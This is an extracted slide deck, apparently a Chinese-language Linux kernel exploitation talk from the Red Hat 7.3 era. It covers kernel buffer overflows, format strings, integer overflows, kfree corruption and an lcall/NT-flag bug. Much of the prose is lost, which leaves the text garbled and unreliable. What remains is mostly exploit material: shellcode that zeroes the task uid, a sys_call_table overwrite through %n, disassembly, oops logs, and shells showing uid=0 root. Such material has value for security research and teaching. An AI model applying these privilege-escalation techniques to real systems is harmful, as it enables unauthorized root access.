Linux kernel exploit研究和探索

Size: px

Start display at page:

Download "Linux kernel exploit研究和探索"

桑毋
5 years ago
Views:

1 Linux kernel exploit DOC alert7 PPT e4gle

3 Linux kernel exploit kernel exploit exploit exploit exploit (Kernel Buffer Overflow) (Kernel Format String vulnerability) (Kernel Integer Overflow) kfree() (Kernel Kfree Parameter Corruption) (Kernel Program Logic Vulnerability) TCP/IP

4 shellcode exploit exploit mail

5 kernel exploit Linux kernel ring0 kernel 0 uid=0 uid=0 kernel linux

6 exploit

7 exploit linux

8 exploit INT TSS SS ESP SS ESP EFLAGS CS EIP ( ) IDT CS EIP

9 exploit ESP task static inline struct task_struct * get_current(void) { } struct task_struct *current; asm ("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL)); return current; #define current get_current()

10 exploit CPU

11 exploit kernel BOF kernel format string vul (kernel integer overflow) kfree() (kernel kfree parameter corruption) kernel program logic error TCP/IP

12 exploit

13 Kernel Buffer OverFlow kbof.c lkm kbof.c test]# gcc -O3 -c -I/usr/src/linux/include kbof.c test]# insmod -f kbof.o Warning: kernel-module version mismatch kbof.o was compiled for kernel version custom while this kernel is version Warning: loading kbof.o will taint the kernel: no license Warning: loading kbof.o will taint the kernel: forced load test]# lsmod grep kbof kbof (unused)

14 Kernel Buffer OverFlow Kernel BOF RETLOC RETADDR shellcode Shellcode

15 Kernel Buffer OverFlow RETLOC kbof_exploit1.c alert7]$./kbof_exploit1 Segmentation fault kbof_exploit, oops

16 Kernel Buffer OverFlow OOPS Oct 24 09:33:19 redhat73 kernel: Unable to handle kernel paging request at virtual address Oct 24 09:33:19 redhat73 kernel: printing eip: Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: *pde = Oct 24 09:33:19 redhat73 kernel: Oops: 0000 Oct 24 09:33:19 redhat73 kernel: kbof pcnet32 mii usb-uhci usbcore BusLogic sd_mod scsi_mod Oct 24 09:33:19 redhat73 kernel: CPU: 0 Oct 24 09:33:19 redhat73 kernel: EIP: 0010:[< >] Tainted: PF Oct 24 09:33:19 redhat73 kernel: EFLAGS: Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: EIP is at Using_Versions [] 0x ( ) Oct 24 09:33:19 redhat73 kernel: eax: ebx: c3877c00 ecx: edx: bffffb60 Oct 24 09:33:19 redhat73 kernel: esi: edi: ebp: esp: c18effa4 Oct 24 09:33:19 redhat73 kernel: ds: 0018 es: 0018 ss: 0018 Oct 24 09:33:19 redhat73 kernel: Process kbof_exploit (pid: 694, stackpage=c18ef000) Oct 24 09:33:19 redhat73 kernel: Stack: Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: Call Trace: Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: Code: Bad EIP value

17 Kernel Buffer OverFlow objdump kbof <test>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 81 ec sub $0x100,%esp b: 8b mov 0x8(%ebp),%eax e: 89 c1 mov %eax,%ecx 10: 8b 75 0c mov 0xc(%ebp),%esi 13: 8d bd f8 fe ff ff lea 0xfffffef8(%ebp),%edi 19: c1 e9 02 shr $0x2,%ecx 1c: f3 a5 repz movsl %ds:(%esi),%es:(%edi) 1e: a8 02 test $0x2,%al 20: je 24 <test+0x24> 22: 66 a5 movsw %ds:(%esi),%es:(%edi) 24: a8 01 test $0x1,%al 26: je 29 <test+0x29> 28: a4 movsb %ds:(%esi),%es:(%edi) 29: 81 c add $0x100,%esp 2f: 5e pop %esi 30: 5f pop %edi 31: 5d pop %ebp 32: c3 ret 33: 90 nop

18 Kernel Buffer OverFlow EIP,EBP ESP new_function xxxx EIP EBP EDI ESI BUF[256] ( ) code len ( ) 18 s+4 ebp s 256 bytes

19 Kernel Buffer OverFlow retloc code[ ] kbof_exploit1.c, code[ ] B [alert7@redhat73 alert7]$./kbof_exploit2 Segmentation fault

20 Kernel Buffer OverFlow Oct 24 10:11:10 redhat73 kernel: <1>Unable to handle kernel paging request at virtual address Oct 24 10:11:10 redhat73 kernel: printing eip: Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: *pde = Oct 24 10:11:10 redhat73 kernel: Oops: 0000 Oct 24 10:11:10 redhat73 kernel: kbof pcnet32 mii usb-uhci usbcore BusLogic sd_mod scsi_mod Oct 24 10:11:10 redhat73 kernel: CPU: 0 Oct 24 10:11:10 redhat73 kernel: EIP: 0010:[< >] Tainted: PF Oct 24 10:11:10 redhat73 kernel: EFLAGS: Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: EIP is at Using_Versions [] 0x ( ) Oct 24 10:11:10 redhat73 kernel: eax: ebx: c2a69e00 ecx: edx: bffff870 Oct 24 10:11:10 redhat73 kernel: esi: edi: ebp: esp: c2ba1fa4 Oct 24 10:11:10 redhat73 kernel: ds: 0018 es: 0018 ss: 0018 Oct 24 10:11:10 redhat73 kernel: Process kbof_exploit (pid: 730, stackpage=c2ba1000) Oct 24 10:11:10 redhat73 kernel: Stack: c2a69e c2a69e00 c2ba bffff738 c Oct 24 10:11:10 redhat73 kernel: bffff bffffbd4 bffff f b Oct 24 10:11:10 redhat73 kernel: b f f bffff b Oct 24 10:11:10 redhat73 kernel: Call Trace: [<c >] system_call [kernel] 0x33 Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: Code: Bad EIP value. EIP 0X (B)

21 Kernel Buffer OverFlow RETADDR shellcode,

22 Kernel Buffer OverFlow SHELLCODE ESP TASK uid=0 0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/ 0x21,0xe0, /*and %esp,%eax*/ 0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00, /*movl $0x0,0x128(%eax) */

23 Kernel Buffer OverFlow retloc retaddr kbof_exploit2.c

24 Kernel Buffer OverFlow ROOT shell,

25 Kernel Buffer OverFlow uid 0 UID 0 kbof_exploit3.c

26 Kernel Buffer OverFlow #define alloc_task_struct() ((struct task_struct *) get_free_pages(gfp_kernel,1)) iret esp

27 Kernel Buffer OverFlow iret 0xc31e9fa4: 0x xc x xc xc31e9fb4: 0xc31e8000 0x xbffff738 0xc xc31e9fc4: 0x xbffff760 0x x xc31e9fd4: 0xbffffbd4 0xbffff738 0x000000f0 0x b 0xc31e9fe4: 0x b 0x000000f0 0x c 0x xc31e9ff4: 0x xbffff730 0x b 0x x8048xx 0x EIP CS OK 0x kbof_exploit4.c

28 Kernel Buffer OverFlow alert7]$./kbof_exploit5 code addr is:0xbffff760 Segmentation fault (core dumped)

29 Kernel Buffer OverFlow #0 0x080485ce in new_function () (gdb) i reg eax 0xc298ffec ecx 0x0 0 edx 0xbffff ebx 0x23 35 esp 0xbffff730 0xbffff730 ebp 0x x esi 0x edi 0x eip 0x80485ce 0x80485ce eflags 0x cs 0x23 35 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/i $eip 0x80485ce <new_function+22>: mov %eax,0xfffffff8(%ebp) EBP kbof_exploit5.c

30 Kernel Buffer OverFlow alert7]$./kbof_exploit6 code addr is:0xbffff760 Segmentation fault (core dumped)

31 Kernel Buffer OverFlow eax 0x1 1 ecx 0x42130f edx 0xbffffbdc ebx 0x c esp 0xbffffb68 0xbffffb68 ebp 0xbffffb68 0xbffffb68 esi 0x edi 0xbffffbd eip 0x80483d3 0x80483d3 eflags 0x cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 ds es

32 Kernel Buffer OverFlow alert7]$./kbof_exploit7 code addr is:0xbffff760 sh-2.05a# id uid=0(root) gid=500(alert7) groups=500(alert7)

33 kformat.c

34 kernel format string vuln exploit kernel printf() %n RETLOC RETADDR

35 kernel printf() %n kernel src %n %hn $

36 RETLOC KERNEL RETLOC head.s

37 ENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_CURRENT(%ebx) testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS jne tracesys cmpl $(NR_syscalls),%eax jae badsys call *SYMBOL_NAME(sys_call_table)(,%eax,4) movl %eax,eax(%esp) # save the return value ENTRY(ret_from_sys_call) cli # need_resched and signals atomic test cmpl $0,need_resched(%ebx) jne reschedule cmpl $0,sigpending(%ebx) jne signal_return restore_all: RESTORE_ALL sys_call_table /porc/ksyms

38 alert7]$ cat /proc/ksyms grep sys_call_table c02c209c sys_call_table_rdfdb18bd 241 sys_call_table+241*4 SHELLCODE

39 SHELLCODE %hn shellcode mmap() ld 0x

40 kformat_exploit1.c

41 retloc %len%n retloc sys_call_table+241*4 c02c209c sys_call_table_rdfdb18bd retloc 0xC02C2460 shellcode shellcode_addr len shellcode_addr

42 alert7]$./kformat_exploit shellcode addr is:0x17ae shell addr is 0x1780 `$,?6058p%nsh-2.05a# id uid=0(root) gid=500(alert7) groups=500(alert7) sh-2.05a# Ok

43 kinteger.c len if (len > 256) len = 256; strncpy_from_user LEN exploit kinteger_exploit.c [alert7@redhat73 alert7]$./kinteger_exploit sh-2.05a# id uid=0(root) gid=500(alert7) groups=500(alert7)

44 kfree() kfree.c kfree() kfree() exploit kfree()

45 BUGTRAQ ID 6115 kernel 2.4.x Linux TF linux lcall7, lcall27, EFLAGS NT TF

46 Exploit #define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall $7,$0" redhat 7.3 //int NT_MASK = 0x ; int main( void ) { asm (" mov $0x ,%eax # NT pushl %eax popfl lcall $7,$0 "); return 1; }

47 EFLAGS EFLAGS NT TF 0 EFLAGS NT TF EFLAGS NT 1 lcall NT 1 IRET TSS

48 TCP/IP TCP/IP Tcp/ip exploit BH

49 TCP/IP TCP/IP exploit RETLOC SHELLCODE SHELLCODE 1 RETLOC 2 SHELLCODE2 SHELLCODE

50 TCP/IP kipstack.c linux kernel LSD kernvuln

1 CPU interrupt INT trap CPU exception

1 CPU interrupt INT trap CPU exception 2 X86 CPU gate 64 16 1 2 5 8 16 16 P DPL 00101 TSS 101 DPL P 1 64 16 1 2 1 1 3 3 5 16 16 16 P DPL 0 D 000 16 110 111 100 D 1=32 0=16 DPL P 1 INT DPL1>=CPL>=DPL CPU